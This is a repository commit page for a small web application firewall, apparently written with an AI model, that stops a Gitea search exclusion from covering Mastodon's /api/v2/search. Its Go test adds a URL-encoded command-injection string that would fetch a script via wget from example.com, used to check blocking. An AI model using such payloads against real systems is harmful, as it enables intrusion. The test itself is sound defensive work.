sneak/smallwebwaf
1
0 Fork 0
Code Issues 21 Pull Requests 6 Actions 1 Packages Projects Releases Wiki Activity

Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)
check / check (push) Failing after 6m32s
Details

Browse Source 
Rule 900600 matched /api/v2/search, Mastodon's search, as gitea's search
inside a repository, so attacks in q scored 0 there. gitea has no owner
named api, so a chained condition now leaves out /api/<x>/search. Go's
regular expressions have no lookahead, so the exclusion cannot be written
inside the pattern.

Model: opus-5-5
This commit is contained in:
sneak committed 2026-11-10 01:33:27 +00:00
1 parent c1bb813a5e
commit f50f1c171f
2 files changed
+46 -30
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

internal/coreruleset/coreruleset_test.go
+13
View File
@@ -674,6 +674,19 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
} }
} }
} }
// gitea has no owner named api, so Mastodon's search is not a
// repository's search.
for _, attack := range []string{
sqlInjection,
scriptInjection,
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
} {
target := "/api/v2/search?q=" + attack
if got := inspect(t, crs, get(target)); got.Score < threshold {
t.Errorf("%s let through: %+v", target, got)
}
}
} }
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
internal/coreruleset/gitea.conf
+33 -30
View File
@@ -35,41 +35,44 @@
# 944100: java.lang.Runtime # 944100: java.lang.Runtime
# 944110: java.lang.Runtime # 944110: java.lang.Runtime
# 944130: java.lang.Runtime # 944130: java.lang.Runtime
# gitea has no owner named api, so /api/v2/search, Mastodon's search, is not a
# search inside a repository and gets none of this.
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
[^/]+/-/code|\ [^/]+/-/code|\
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
commits/(?:branch|tag|commit)/.+/search)|\ commits/(?:branch|tag|commit)/.+/search)|\
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
"id:900600,phase:1,pass,nolog,\ "id:900600,phase:1,pass,nolog,chain"
ctl:ruleRemoveTargetById=930110;ARGS:q,\ SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/search$" \
ctl:ruleRemoveTargetById=930120;ARGS:q,\ "ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\ ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\ ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\ ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\ ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\ ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\ ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\ ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\ ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\ ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\ ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\ ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\ ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\ ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\ ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\ ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\ ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\ ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\ ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\ ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\ ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\ ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\ ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\ ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\ ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q" ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of one of those searches has the search's # A page opened from the results of one of those searches has the search's
# address in Referer, which skips these rules then: # address in Referer, which skips these rules then: